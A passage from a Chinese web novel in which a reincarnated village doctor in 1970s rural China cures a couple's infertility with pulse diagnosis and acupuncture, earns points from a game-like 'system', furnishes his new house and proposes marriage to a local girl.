“嘿,这小子!”周志康一拍大腿,转头对那对夫妇安抚,“你们俩先在这儿坐会儿,我去他那新宅子看看,估计又在那边盯着活儿呢!” 他指了指屋里唯一的长条板凳,便离开了。 第62章 问题不在弟妹身上,在你 卫生室里一时间只剩下夫妻二人,空气安静得能听到彼此沉重的呼吸声。 男人看着妻子那副惶恐不安的样子,心里一疼,伸手过去握住她冰凉的手,声音压得极低。 “小爱,要不……咱就算了吧?听天由命。大不了,咱以后去抱养一个,我也一样疼。” 被称作马小爱的女人猛地抬起头,眼圈瞬间就红了,泪水在眼眶里打着转。 “不!小军,都怪我,是我对不住你,对不住咱杨家……我这肚子不争气……” “胡说八道什么!”杨小军眉头摇摇头,加重了手上的力道,“咱俩是两口子,说这些干啥!我就是心疼你,这几年为了这事儿,你吃了多少苦,遭了多少罪,我都看在眼里。” 他叹了口气,目光扫过这间简陋却整洁的卫生室,心里其实也没抱多大希望。 周叔把这江大夫夸得跟神仙下凡似的,可不孕不育这病,连省城大医院的专家都束手无策,一个下乡的年轻知青,能有什么本事? 他不过是看在周叔的面子上,不想让他失望,才带着最后的希望走这一趟。 与此同时,新宅基地上,江沐正叉着腰,指挥着两个木工给虎虎和生威搭一个宽敞的狗窝。 房子的主体已经落成,剩下的就是内部的精细活儿了。 “江沐!江沐!你小子跑这儿躲清闲来了!” 周志康的大嗓门由远及近。 江沐回头,看见周志康快步走来,便猜到了他的来意。 他跟工头交代了两句,擦了擦手迎了上去。 “书记,人带来了?” “可不嘛!就在卫生室等着呢,赶紧的!” 二人一前一后赶回卫生室。 杨小军听到脚步声,立刻站了起来,当他看清走进来的江沐时,整个人都愣住了。 太年轻了。 这……这就是周叔说的神医?看着比自己还小几岁! 嘴上毛都没长齐,能看什么不孕不育? 杨小军心中刚刚升起的希望,消失的无影无踪。 “来,我给你们介绍一下。”周志康压根没注意到侄子的情绪变化,一指江沐,“这位就是江沐,江大夫。” 他又拍了拍杨小军的肩膀,对江沐咧嘴一笑。 “这是我内人家的侄子,杨小军,这是他媳妇马小爱。他们的事儿,就拜托你了!” 江沐的目光在两人身上一扫而过,将他们细微的表情尽收眼底。 他点了点头,径直走到桌后坐下,一指一旁的空椅子,“坐吧。” 他淡淡地开口,目光落在杨小军和马小爱脸上。 “结婚几年了?” 杨小军一怔,没想到他问得如此直接,下意识地回答。 “……五年了。” “平时行房,一周几次?” 这个问题一出口,杨小军的脸一下就红了,支支吾吾半天说不出话来。 马小爱低着头不说话。 江沐见他们不回答,解释道,“在我眼里,没有男女,只有病人。想看病,就得把情况说清楚,讳疾忌医,最后耽误的是你们自己。” 听了这话,杨小军深吸一口气,窘迫道。“……两、三次。” “之前的检查单都带了吗?” 马小爱闻言,连忙从随身的布包里掏出一个有些发旧的牛皮纸袋,双手递了过去。 江沐接过,抽出里面的几张化验单,看得极其仔细。 片刻后,他将单子放回桌面,指尖轻轻敲了敲。 “从单子上看,问题不大。女方内分泌失调,导致经期紊乱,影响了受孕。按理说,不是什么大毛病。随便找个老中医开几副汤药调理一下身子,应该就行了。”他抬眼看向两人,“没找中医看过?” “怎么没看!”杨小军一听这话,有些激动道,“中药西药,偏方土方,能试的都试了!那药喝得能淹死人,就是没动静!” 江沐不为所动,朝马小爱招了招手。“手伸出来,我把个脉。” 马小爱顺从地伸出手腕。 江沐三指搭上,闭目凝神。 半晌,他松开手,眉头微不可察地皱了一下。 确实只是普通的内分泌失调,脉象虚浮,气血两亏。 他开的那些固元丹,随便一颗都能调理好。 可为什么他们吃了那么多药都没用? 他的目光转向了一旁的杨小军。 “你的检查单呢?” 杨小军瞬间炸毛了,涨红了脸,梗着脖子反驳。 “我?!我能有啥问题!去县医院查过了,医生说我好着呢!问题不在我!” 江沐的脸色沉了下来。 “我还没看,就说你没问题了?医生看病,不是听病人自己说好不好。” 他语气一冷,“不想看,门在那边,请便。” 周志康也没想到江沐脾气这么冲,当着自己的面就敢下逐客令。 他赶紧站出来打圆场,一巴掌拍在杨小军后背上。 “你这混小子!跟江大夫横什么横!让你检查你就检查,磨磨唧唧的像个娘们!” 马小爱也急了,扯着丈夫的衣袖,带着哭腔哀求。 “小军,听江大夫的!求你了!” 马小爱也觉得这件事情问题可能不在自己,毕竟已经吃了这么多药,怎么可能一点效果都没有? 在叔叔和妻子的双重压力下,杨小军满脸不忿,却也只能心不甘情不愿地坐回到江沐面前,极不情愿地把手腕递了过去。 江沐面无表情地伸出手指,搭在了他的寸口脉上。 一秒,两秒…… 江沐的眉头先是微微一蹙,随即舒展开,神色有些古怪。 江沐的手指从杨小军的脉搏上移开。 “问题不在弟妹身上,在你。” 话音刚落,杨小军瞬间站了起来,怒声道,“放屁!你胡说八道些什么!县医院的白大褂都说了,我壮得跟头牛一样,能有啥问题?” 马小爱吓得脸色一白,赶紧拉住丈夫的胳膊,哀求着:“小军,你别这样,听江大夫把话说完。” 周志康的脸也沉了下来,刚想发作,却被江沐制止了。 江沐指尖在桌上轻轻一点,声音不大,却字字清晰地传进每个人的耳朵里。 “县医院查的,是西医。他们用仪器,看的是你的功能是否正常,零件有没有损坏。从这个角度看,你确实没毛病。” “呵,没办法自圆其说了吧,你就是一个庸医!” “但只是零件没有毛病!” 第63章 零件没问题,西医自然看不出 江沐话锋一转,“但中医看的,是整体。西医查的是你的零件好不好使,中医看的是你这台机器能不能存住油。 你这是典型的遗泄之症,精关不固,存不住东西,种子撒下去了,可还没等发芽,就都流走了,怎么可能结果?” 一番话,让杨小军愣在原地。 什么零件……什么存油……他听得半懂不懂,但最后那句精关不固,却精准地刺破了他竭力维持的男性尊严。 他想起平日里某些难以启齿的状况,嘴唇哆嗦着,一个字也反驳不出来。 县医院的医生,可从没跟他说过这些! 他呆愣了半晌,喉结艰难地滚动了一下,“那……这病,能治不?” “能。小毛病。” 江沐的回答轻描淡写,却带着强大自信。他随手从抽屉里扯出一张草纸,拧开钢笔盖,笔走龙蛇。 “我给你开个方子,回去照着抓药,一天三次,先吃一个月。另外,这一个月里,每隔七天来我这一趟,我给你扎次针。一共四次针灸,配合汤药,保你药到病除。” 他的笔尖在纸上顿住,抬眼看向夫妻二人,严肃道,“最后一条,也是最重要的一条,治疗期间,严禁房事。听明白了吗?” 杨小军和马小爱疯狂点头。 就在江沐落笔的瞬间,他的脑海里响起了两声清脆的提示音。 【叮!获得来自杨小军的声望值+8!】 【叮!获得来自马小爱的声望值+8!】 江沐心中微动,看来这夫妻俩是彻底信服了。 他将药方递过去,随即从桌下的一个木箱里,拿出了一个布包。 布包摊开,一排长短不一、明晃晃的银针赫然在列。 “今天就算第一次。脱了上衣,趴到那张床上。” 杨小军看着那些针,下意识地咽了口唾沫,但一想到能有自己的孩子,顿时也不恐惧了。 他二话不说,脱掉衬衫,露出结实的后背,听话地趴了上去。 江沐捻起一根三寸长的银针,在酒精灯上燎过,指尖轻捻,看准了杨小军后腰的肾俞穴,刺了进去。 “嘶——”杨小军只觉得腰眼一麻,一股微弱的酸麻热流窜开,非但不疼,反而很舒坦。 还没等他回过神,江沐的动作行云流水,一根又一根的银针落在了他后背、腰臀、腿上的各个穴位。 转眼之间,杨小军的身上就扎满了银针。 “躺着别动,半个小时。” 江沐拍了拍手,转身对一旁看得目瞪口呆的周志康递了个眼色。 “书记,出去抽根烟?” 周志康回过神来,连连点头,跟着江沐走出了卫生室。 他掏出大前门,递给江沐一根,自己点上,狠狠吸了一口,吐出烟雾。 “江沐啊,你不知道,为了这个娃,我这侄子两口子吃了多少苦头!省城的专家都看了,钱花得跟流水似的,就是没用。嘿,没想到啊,还是咱老祖宗的玩意儿管用!” 江沐接过烟,却没有点燃,只是放在鼻尖闻了闻。 “各有所长吧。中医治本,调理的是人。但西医那些铁疙瘩,有时候也能看出咱们号脉号不出的东西,关键看怎么用,这一次,小军的问题,在于他的体质,零件没问题,西医自然看不出。” 他看得远比这个时代的人更远。 周志康心情舒畅,这么长时间,让他们全家都忧心的事情,终于解决了! 与此同时,卫生室里,只剩下夫妻二人。 马小爱搬了个小凳子,坐在床边,看着丈夫扎满针的后背,眼泪直往下掉,滴落在尘土的地面上。 “小军,咱有盼头了……”她的声音带着哭腔。 杨小军侧着头,看着妻子,满是愧疚。 “小爱,对不住,这些年……让你受委屈了。” 他没想到看了这么多年,治了这么多年,最后问题居然出在自己身上。 他无比庆幸自己听了叔叔的话,来到这里,不然的话,他们说不定还要走多少弯路。 “不委屈!”马小爱抹了把泪,脸上露出笑容,“只要能给你生个娃,吃再多苦都值!等治好了,我给你生!生四个!两男两女!” 半个小时过去。 江沐掐着点走进来,动作麻利地将所有银针一一取下。 随着最后一根针离开身体,杨小军感觉浑身上下都十分舒畅。 【叮!获得来自杨小军的声望值+20!】 【叮!获得来自马小爱的声望值+20!】 系统的提示音再次响起,江沐嘴角微扬。 杨小军翻身坐起,活动了一下筋骨,他看向江沐的眼神,已经从最初的怀疑、抗拒,变成了彻彻底底的崇拜。 他从口袋里掏出一个用手帕裹得严严实实的小包,一层层打开,里面竟是厚厚一沓大团结! 他数出五十张,双手捧着递到江沐面前。 “江大夫!这是五百块钱!您一定得收下!这是我们的诊金,也是我们的一点心意!只要能治好,您就是我们杨家的大恩人!” 五百块! 在这个工人月薪只有二三十块的年代,这无疑是一笔巨款! 江沐扫了一眼,并未推辞。 建房子花销巨大,后续添置家具、生活用品也都需要钱。 他坦然接过。“好,我收下了。七天后,准时来。” 杨小军又连忙问:“那我媳妇儿呢?她用不用也吃点药调理调理?” 江沐的目光落在马小爱有些苍白的脸上。 “她不用吃药,身体底子不差,就是思虑过重,气血亏了些。回去放宽心,别干重活,好好休息就行了。” 送走感恩戴德的夫妻俩和心满意足的周志康,卫生所又恢复了宁静。 …… 上梁后的第四天,日头正好。 新宅的泥瓦活已经全部完工,院子里弥漫着新土和石灰的味道。 江沐将所有工人的工钱一一结清,看着他们扛着工具、脸上挂着满足的笑容离去,心中也升起一股成就感。 他锁好新宅的门,转身走进了隔壁赵文的院子。 刘春花正在院里搓着苞米,看到江沐进来,连忙拍了拍手上的灰站起来,笑道“江大夫,忙完啦?” “嗯,春花嫂,这是你的工钱。”江沐从口袋里掏出早就准备好的钱,递了过去。 第64章 你打算啥时候结婚 江沐递过去的,是一沓崭新的票子,十块的,一块的,还有几张毛票,凑得整整十五块。 “春花嫂,这些天辛苦你了。十块是工钱,另外五块,是这段日子在你家菜地里拿菜的钱。” 刘春花手一缩,赶忙摇头。 “使不得!江大夫,这可使不得!” 她一把将钱推了回来,只从中抽走了十块。 “帮忙烧个水送个饭,是邻里乡亲该做的!那菜地里的菜,你不吃,我们自个儿也吃不完,烂在地里不成?给钱,这不是打我脸吗!” 这时,屋里走出一个黑黝黝的汉子,正是刘春花的男人赵文。 他听见了动静,立刻附和:“江大夫,春花说得对!那五块钱你必须拿回去!往后想吃啥菜,自个儿去地里摘就行,跟我俩还客气啥!” 夫妻俩一唱一和,态度强硬。 江沐看着他们脸上那份真诚,心中一暖。 他知道,再坚持下去,就不是感谢,而是侮辱了。 他不再强求,将那五块钱收回口袋,郑重地朝两人点了点头。 “行,那我就不跟二位客气了。这次盖房,多谢你们了。” 这份人情,他记在心里。 从赵文家出来,江沐并未回自己的新宅,而是提着早就准备好的东西,径直往徐福家走去。 这次盖房,徐福的母亲林秀琴也帮了大忙,不仅时常过来搭把手,还帮着江沐浆洗缝补了几件衣服。 这份情,也得还。 院门打开,是徐福。 他一见是江沐,脸上立刻笑开了花。“江大夫!快进来!” “婶子在家吗?”江沐笑着走进去,将手里的东西亮了出来——一包用油纸裹得严严实实的红糖,还有两罐在这个年代堪称奢侈品的麦乳精。 正在院里喂鸡的林秀琴闻声回头,看见江沐手里的东西,连忙在围裙上擦了擦手,快步迎了上来。 “哎哟,江大夫,你这是干啥!人来就成,还带啥东西!” “婶子,我这趟来,是特地感谢您的。”江沐将东西塞到徐福怀里,态度诚恳,“另外,也想跟您把工钱结一下。” “工钱?” 林秀琴立刻大声拒绝,“结啥工钱?江大夫你可别折煞我了!我就是看你一个人忙不过来,搭把手,你要是给钱,往后我可再不敢踏你家院门了!” 徐福也急了,连忙推着东西,“是啊江大夫!你这不是埋汰我们家吗!这钱,绝对不能要!” “当初你就我媳妇的时候,你都没要钱,我这要了钱,出去被别人知道不得被唾沫淹死!” 江沐看着母子俩如出一辙的表情,无奈一笑。 他知道,这个年代的人情,比钱金贵得多。 他话锋一转,指了指徐福怀里的东西。 “行,工钱不要,但这谢礼总得收下吧?这可不是钱,是我的一点心意。婶子要是不收,那就是真不把我当自己人了。” 这话一出,林秀琴倒不好再推辞了。 她瞪了江沐一眼,脸上却笑开了花。 “你这娃,就这张嘴会说!行,东西婶子收下了,下不为例啊!” 江沐在徐家又坐了一会儿,陪着聊了些家常,这才起身告辞。 他前脚刚走,徐福的父亲徐良就从后屋扛着锄头出来了。 徐福抱着那两罐麦乳精,宝贝似的,嘴里啧啧称奇:“爹,你瞅瞅江大夫这人,真是没得说。本事大,可身上一点城里知识分子的臭架子都没有,比谁都懂人情世故!” 徐良吐掉嘴里的草根,看了一眼桌上的红糖,同样赞许道,“嗯,是个有出息的后生。以后跟他好好处,亏不了。” …… 翌日,天刚蒙蒙亮。 江沐便起了床,简单洗漱过后,锁好门,朝着三大队的方向走去。 新房的框架是起来了,可里面还空空如也。 床、桌子、椅子、柜子……这些都得找个好木匠来打。 他早就听闻,三大队有个老木匠,手艺在整个青莲公社都是数一数二的。 他轻车熟路地找到了张小月的家。 院子的篱笆门虚掩着,江沐刚要抬手敲门,门就从里面打开了。 张小月背着一个半人高的竹筐,手里拿着一把镰刀,正准备出门去打猪草。 她一抬头,看到门口站着的江沐,“江……江大哥?你咋来了?房子……都盖好了吗?”她疑惑问道。 “都弄好了。”江沐笑了笑,开门见山,“我听说三大队有个手艺好的木匠,今天特地过来,想请他帮我打些东西。” “木匠?”张小月立刻反应过来,“你说的是松山伯吧?他的手艺是最好的!你等着,我带你去!” 说着,她就要放下背篓。 然而,她刚一动,却整个人猛地僵住,动作也变得扭捏起来。 那双大眼睛,躲躲闪闪,不敢再看江沐,手指紧张地抠着镰刀的木柄。 江沐何等眼力,一眼就看出了她的异样,不禁有些疑惑。“怎么了?有什么话,想说就说。” 张小月深吸了一口气,她抬起头,目光灼灼地盯着江沐,又急又快道,“我娘……我娘让我问你……” “房子……房子已经盖好了,你……你打算啥时候结婚?” 饶是江沐两世为人,心性早已磨炼得古井无波,此刻也不由得微微一怔。 他看着眼前这个脸颊绯红、却依旧倔强地与自己对视的姑娘,心头涌上一股暖流。 江沐失笑,眼底的沉静被一抹温柔的笑意取代。 “那你呢?你是怎么想的?” 这个问题,比直接回答更让人心跳加速。 张小月没想到江沐会反问回来,这让她原本鼓足的勇气瞬间卸了一半。 可对上江沐那眼睛,她心一横,索性豁出去了! “我……我也是这么想的!房子都盖好了,总不能一直空着吧!你需要一个女主人,我很能干!” 她几乎是喊出来的,喊完之后,就把头埋了下去。 江沐嘴角的笑意更深了。 他喜欢这份直白,这份坦荡。 “好。”他轻轻吐出一个字,“等我这几天把家具的事忙完,就找个时间,咱们两家人坐下来,好好把这事谈一谈。” 第65章 这,就是家的感觉吧 这句承诺,瞬间吹散了张小月心头的羞赧。 她抬起头,看着江沐,正准备开口。 就在这时,一个高大的身影从屋里走了出来,“小月,大清早跟谁嚷嚷呢?” 来人是张小月的父亲张峰,他手里拎着个扁担,显然也是要下地。 当他看清门口站着的是江沐时,脸上立刻堆起了笑容,“哎呀,是江大夫啊!你那新屋,都拾掇利索了?” “差不多了,就差里面的家伙事儿了。”江沐从口袋里摸出烟盒,递了一根过去,“这不,正跟小月打听,想找个好木匠打点家具。” “打家具?”张峰一听,把扁担往墙角一靠,大手一挥,“这你可问对人了!走,我带你去!咱三大队的松山哥,手艺那是全公社都竖大拇指的!” 说着,他便领着江沐往村子深处走去。 张松山的家,院子里堆满了各种木料。 一个中年汉子正坐在门槛上,低头用砂纸打磨着一条板凳腿。 他只有一条腿,另一条裤管空荡荡地垂着,随着他的动作一晃一晃。 江沐的目光在他空荡的裤管上停留了一瞬,随即便若无其事地移开。 “松山哥!”张峰大嗓门地喊了一句。 张松山抬起头,看到张峰,又看了看跟在后面的江沐,立刻了然。 “江大夫。”他放下手里的活计,撑着地就要站起来。 “松山伯,您坐着。”江沐快步上前,将早已准备好的烟递了过去,顺手帮他点上,“我今天来,是想请您帮个忙。” 张松山吸了一口烟,吐出一串白色的烟圈,眼神在江沐和不远处的张小月之间打了个转,咧嘴一笑,露出一口黄牙。 “都是自家人,说啥请不请的。你可是小月的未来男人,你的事,就是我的事!说吧,想打点啥?给你算最低价!” 江沐心中一暖,这朴实的乡情,比什么都珍贵。 “我对这些不太懂,就想着结实耐用就行。”他想了想,补充了一句,“我看大队高书记家里的那套家具就不错,样式简单大方。” “哦,高书记家的?”张松山自得一笑,“那也是我打的!行,既然你看中了,那就按他家的规格来。不过你得说清楚,都要些啥,用啥木头?” 江沐当即将自己需要的床、衣柜、桌子、板凳等一一报了出来。 张松山听完,在心里盘算了一下,抬头问:“木料你自个儿弄,还是用我的?要是用我的,木料我给你算便宜点,连工带料,一共一百五十块。要是你自己去公社申请木料,我只收你手工钱,一百一十块。” 江沐几乎没有犹豫。“就用您的木料吧,松山伯。” 自己去申请木料,不知道要跑到猴年马月,费时费力还不一定能弄到好的。 一百五十块钱,在这个年代是一笔巨款,但对江沐来说,却不算什么。 “行!爽快!”张松山点点头,“那你先交……” “定金我先给您五十。”江沐说着就要掏钱。 “哎,等等!”张松山摆了摆手,指了指屋里,“我这正好有套现成的八仙桌和几条长板凳,都是上好的榆木打的,本来是给自个儿家留的。你要是瞧得上,就先搬走,剩下的我再给你慢慢做。价钱嘛,也从总数里扣。” 这简直是意外之喜! 江沐跟着张松山进了屋,一眼就相中了那套透着原木光泽的桌椅。 做工扎实,边角圆润,比他想象的还要好。 “就要这套了!” 一番忙活,江沐付了钱,和张峰一起将桌椅搬回了张小月家院里,约定好过两天再来取。 事情办妥,江沐在张家又坐了一会儿,眼看日头升高,便起身告辞。 “我得回去了,新院子那边还得收拾收拾。” 他话音刚落,张峰就冲着自家女儿使了个眼色,嗓门洪亮地开了腔。 “小月,你还愣着干啥!江大夫一个人收拾得到啥时候去?你跟着去搭把手,两个人干活也快!” 张小月的脸又红了,低着头,手指绞着衣角,却没说一个不字。 江沐看着她那娇羞的模样,心中一动,便笑着应了下来。“那就辛苦你了。” 两人一前一后地走在回二大队的田埂上。江沐先是绕到卫生所,把关在里面的虎虎和生威接了出来。 两条半大的狼青犬一见到他,立刻扑了上来,围着他和张小月不停地摇尾巴,亲昵地蹭着。 回到那四间崭新的大瓦房前,看着空旷却杂乱的院子,张小月撸起袖子,满是干劲。 “咱们先把这些碎砖头和木料清出去吧!” “好。” 一个负责搬,一个负责码放;一个负责扫,一个负责洒水。 两人配合得异常默契。 阳光洒在他们身上,汗水浸湿了衣衫,可脸上却挂着发自内心的笑容。 虎虎和生威在院子里撒欢打滚,不时地跑到两人脚边蹭一蹭,汪汪地叫上两声。 一整个上午的时间,就在这忙碌而温馨的氛围中过去。 当最后一堆杂物被清理干净,整个院子瞬间变得敞亮整洁。 江沐看着焕然一新的家,又看了看身边那个脸蛋被晒得红扑扑、额前碎发被汗水沾湿却依旧笑靥如花的姑娘,心中被轻轻地触动了。 这,就是家的感觉吧。 午后的阳光,将两人的影子在崭新的院子里拉得老长。 一声不合时宜的声响打破了这片刻的宁静。 张小月的脸颊又一次染上绯红,不好意思地捂住了自己的肚子。 忙活了一上午,早就饿得前胸贴后背了。 江沐闻声,笑意愈发温柔。 “走,先去我那边垫垫肚子。卫生所还有点白面馒头和咸菜。” 两人回了卫生所那简陋的住处,饭食也确实简单。 可不知为何,就着白开水啃着馒头,张小月却觉得比吃肉还香。 她偷偷用眼角余光瞥着身边从容吃饭的江沐,心里甜丝丝的。 简单吃过午饭,两人又马不停蹄地回了新房。 下午的活计是收拾屋里。 四间大瓦房,除了江沐打算做诊室和药房的两间,剩下两间便是他们未来的卧室和堂屋。 地上的碎石、木屑、还有施工时留下的石灰印记,都需要一点点清理干净。 张小月干活麻利,拿着扫帚和抹布在屋里屋外穿梭。 江沐则负责提水和搬运那些沉重的垃圾。 两人话不多,但一个眼神、一个动作,便能明白对方的意思。 眼看太阳渐渐西斜,江沐停下了手里的活计。 “天不早了,剩下的明天再弄吧。我送你回去。” “不碍事,我一个人走惯了……”张小月嘴上推辞着,心中却一暖。 江沐却不容分说,拿起搭在门框上的毛巾擦了擦手。 “女孩子家走夜路不安全,这是规矩。” 第66章 这丫头,还真是迫不及待了 回去的路上,正赶上社员们下工。 田埂上,三三两两的人扛着锄头往村里走。 “哟,那不是江大夫嘛!”一个嗓门洪亮的婶子瞧见了他们,立刻扯着嗓子喊了起来,“这是……送我们三大队的月丫头回家呐?” “江大夫就是心疼人!看看,多般配的一对儿!”旁边的人跟着起哄,哄笑声在田野间传开。 张小月的脸皮薄,哪里经得住这样的玩笑,一张俏脸瞬间红透,恨不得把头埋进江沐的影子里。 江沐却神色自若,冲着众人坦然一笑,算是默认了。 他侧过身,用自己高大的身躯,不着痕迹地为张小月挡住了大部分探究的目光。 这个细微的动作,让张小月的心跳得更快了。 到了张家院门口,江沐停下脚步。“好了,进去吧。” “嗯。”张小月低着头,她捏着衣角,犹豫了片刻,抬起头,迎上江沐的目光,“你……你明天早上,还过来接我吗?” 这丫头,倒是越来越大胆了。 江沐心中一动,轻笑着点头,“当然。” 得到肯定的答复,张小月这才心满意足地转身跑进了院子。 第二天一早,江沐准时出现在了张家门口,将早已等候在那里的张小月接走。 又是一整天的忙碌。 有了前一天的经验,两人配合得更加得心应手。 当最后一簸箕建筑垃圾被倒掉,整个新家,从里到外,窗明几净。 张小月叉着腰,看着自己的劳动成果,满心欢喜。 她的目光不经意间扫过院子角落里那片被篱笆围起来的菜地,不由得咦了一声。 “江沐,你这边的菜……怎么长得这么好?” 那片菜畦里,绿油油的青菜每一片叶子都肥厚鲜亮,比自家菜园子里那些精心伺候的还要精神百倍。~ “可能是这块地肥吧。”江沐随口解释了一句,这自然是系统商城黑的黑土地的功劳,但他可不会说出来。 他指了指菜园旁边另一块被单独圈起来的药圃,“那边长的才是好东西。” “这是什么?”张小月好奇地凑了过去。 “人参。我弄了几棵苗,种着试试,也不知道能不能活。” 人参?! 张小月惊讶,这可是传说中的宝贝,只有供销社里才能见到,而且贵得吓人! 她从没见过活的人参长什么样,立刻蹲下身,瞪大了眼睛,小心翼翼地端详着那些顶着一簇簇红果果的植株。 江沐看着她那副认真的模样,不禁莞尔。 他转身走到院子里的梨树下,这棵树是原来就有的,今年结了不少果。 他伸手摘下一个黄澄澄、个头最大的梨子,在衣服上擦了擦,递到张小月面前。 “看傻了?先吃个梨润润喉咙。” 梨子还带着阳光的温度,清甜的香气扑鼻而来。 张小月接过梨,咬了一大口,满嘴的甘甜汁水。 活儿干完了,两人并肩走在回卫生所的路上。 夕阳将他们的影子拖得很长很长。 “江沐……”张小月忽然停下脚步,低声开口。 “嗯?” “你……你打算什么时候,去我家……说咱俩的事?”问出这句话,张小月盯着江沐,等着他的答复。 江沐的脚步也停了下来。 他转过身,看着眼前这个被晚霞映照得满脸通红的姑娘。 “后天,你看行吗?” 后天!这么快! 张小月惊讶不已。 但是很快,惊讶被喜悦所替代,“行!我……我回去就跟我爹娘说,让他们准备准备!” 江沐看着她那副又惊又喜的模样,忍不住轻笑一声,随即又想起了什么,神色变得严肃了些。 “小月,有件事得先跟你说清楚。我们现在年纪都还小,离法定结婚年龄还差几年,暂时……领不了结婚证。” 在这个年代,这是个很现实的问题。 谁知张小月听了,却满不在乎地一摆手。 “那有啥!村里好几家结婚的也都没领证呢,不都过得好好的?先生孩子后补证的多的是!” 她顿了顿,一双眼睛紧紧盯着江沐,追问道,“那……咱们什么时候办酒?” 这丫头,还真是迫不及待了。 江沐眼里的笑意更浓了,他伸手刮了一下张小月的鼻子,宠溺道,“你急什么?这事得听叔和婶的,他们看好日子,咱们就办。” “谁……谁急了!”张小月被他调侃得面红耳赤,跺了跺脚,转身就往前跑。 江沐笑着跟了上去,将她一路送回了家。 张峰和刘桂芝还没下工回来,江沐坐了一小会儿,喝了口水,便起身告辞了。 傍晚时分,张峰和刘桂芝扛着农具回了家,一进门就看到自家闺女在厨房里哼着小曲,面带笑意,一看就是有喜事。 “啥事儿这么高兴?”刘桂芝放下锄头,好奇地问。 张小月红着脸,把江沐后天要上门提亲的事一说。 “啥?!哎哟我的老天爷!这可是大喜事!老头子,你听见没!咱家月丫头的好事要定了!” 她激动地一拍大腿,冲着刚进门的张峰就喊:“峰子!你还愣着干啥!赶紧去大队部,让你李叔给你开个条子,去公社割两斤肉回来!不!割三斤!咱得好好招待江大夫!” …… 另一边,江沐回到二大队,没有直接回卫生所,而是拐了个弯,径直去了队长李有柱家。 彼时,李有柱的婆娘张兰正在院子里喂鸡。 “兰子婶。”江沐笑着打了声招呼。 “是江大夫啊!快进屋坐!”张兰见到江沐,热情得不行。 “不了,我说几句话就走。”江沐开门见山,“兰子婶,我跟小月的事……我打算后天,正式上她家去提一下。” 张兰一听,手里的鸡食瓢掉在地上,她也顾不上捡,惊喜地一拍手。 “哎呀!早就该这样了!你俩这事,就该早点定下来!这是天大的好事啊!放心,婶子心里有数!” 第二天一大早,江沐骑着卫生所那辆二八大杠,去了趟公社。 他不仅买了好烟好酒好糖这些提亲的必备品,还顺道去玻璃店,按照新房窗户的尺寸,定了几块玻璃回来。 回到村里,他又一头扎进了新房。 窗户装上,屋子里的浮尘再擦一遍,角角落落都打扫干净。 如今万事俱备,只剩下那些细活。 第67章 咱们……就谈谈彩礼的事吧 躺在卫生所的板床上,江沐罕见地失眠了。 他一想到明天就要为一个姑娘定下一辈子的名分,心脏竟不争气地狂跳起来。 在这个陌生的时代,他第一次有了扎根的实感。 第二天清晨六点刚过,江沐便坐了起来。 他与张兰约的是九点,这时间还早得有些过分。 院子里,虎虎和生威两只半大的土狗正摇着尾巴,眼巴巴地瞅着他。 江沐闲来无事,索性蹲下身,一手一个,揉搓着它们的狗头,嘴里开始念念有词。 “我说你们俩,出息呢?看看隔壁王大爷家的大黄,跟你们一般大的时候,都晓得上山撵兔子给家里加餐了。再瞧瞧你们,一天到晚就知道跟在我屁股后面摇尾巴,像话吗?” “汪!汪!”虎虎叫了两声,像是在抗议。 生威则更干脆,直接用湿漉漉的鼻子蹭着江沐的手心,一副讨好的模样。 江沐被它们逗乐了,心头那紧张感也消散了不少。 他将提亲的礼品——两条大生产牌香烟、两瓶西凤酒、四包红糖并一包水果糖,仔仔细细地用红纸包好,放进一个干净的布袋里。 又换上了一身崭新的蓝布中山装,对着水盆里自己的倒影,梳了梳头。 八点刚过,院门被人推开。 李振国探头探脑地走了进来,他今天也穿得格外利索。 “江大夫,收拾妥当了没?我妈让我过来催催,她在家都等急了。” “差不多了。”江沐拎起布袋。 “那走吧,我也跟着一块儿去。”李振国很自然地接了一句。 江沐脚步一顿,眼中闪过诧异。“你也去?” “那可不!”李振国一拍胸脯,咧嘴笑道,“我可是小月的正经表哥!自家妹子定亲,我这个当哥的哪能不在场?” 两人到了李有柱家,队长正蹲在门口抽旱烟,一见江沐这身行头,顿时眼睛一亮,站起身来,大手在他肩上重重一拍。 “哟,江大夫今儿个可真精神!人靠衣装马靠鞍,这话一点不假!看着就像要去办大事的样子!” 张兰从屋里迎出来,手里挎着个篮子,笑得合不拢嘴。 “就你话多!赶紧的,时辰不早了,咱们这就过去。” 一行四人,浩浩荡荡地朝着村口张家走去。 一路上,但凡遇见下地回来的社员,无不好奇地打量着他们。 “有柱家的,你们这是干啥去啊?振国也回来了?” 张兰扯着嗓门,满脸喜气地回应。“给咱们江大夫当媒人,去小月家说亲去!” 这话一出,人群中顿时响起一片哄笑。 “哎哟!那可是大喜事!” “江大夫和小月那丫头,早看出来般配了!” 江沐在一片道贺声中,到了张家的院门。 还没进门,就看见几个流着鼻涕的小娃娃扒在门口,眼巴巴地往里瞅。 江沐心领神会,从口袋里摸出那包早就准备好的水果糖,给每个孩子手里塞了两颗。 孩子们得了糖,顿时散开,嘴里还甜甜地喊着:“谢谢江大夫!” 一踏进院子,江沐的目光便被屋檐下的那道身影牢牢吸引住了。 张小月今天显然是精心打扮过的。 她穿了一件崭新的碎花的确良衬衫,两条乌黑的麻花辫上,还特意系了两根鲜红的头绳。 许是紧张,她的脸颊泛着健康的红晕。 只一眼,就让人眼前一亮。 张兰拉着江沐的胳膊,将他往屋里拽。 “快进去,你张叔张婶家的亲戚都等着呢!” 屋子里坐满了人,男女老少,将不大的堂屋挤得满满当当。 “这是小月的大舅!” “这是她二姑!” “那个是她三叔家的堂哥……” 张兰像个指挥官,指着一屋子的人,飞快地给江沐介绍了一圈。 江沐被这阵仗搞得有些发懵,只能挨个点头问好,有点浑身不自在。 幸好,李有柱及时站了出来,他熟稔地跟各路亲戚打着哈哈,三言两语就将众人的注意力从江沐身上引开,总算让他松了口气。 张兰则一头扎进了厨房,和刘桂芝一起忙活起来。 饭菜很快就摆上了桌。 江沐刚想起身去厨房帮忙端菜,就被张峰一把按了回去。 “欸!坐着!”张峰的脸膛被酒意染得通红,却是坚决道,“今儿你就是客,天大的客!哪有让你动手的道理!” 酒过三巡,菜过五味,屋子里的气氛也热烈起来。 江沐放下筷子,清了清嗓子,觉得是时候进入正题了。 他看向主座上的张峰,神色认真。“张叔,今天我来,是真心实意想求娶小月。咱们……就谈谈彩礼的事吧。” 这话一出,原本喧闹的屋子瞬间安静了下来。 张峰端起酒杯,一饮而尽,重重地把杯子往桌上一顿,摆了摆手。 “江大夫,说这些就见外了!彩礼不彩礼的,不重要!我张峰嫁闺女,图的不是钱,是图你这个人!只要你以后对我们家小月好,比啥都强!” 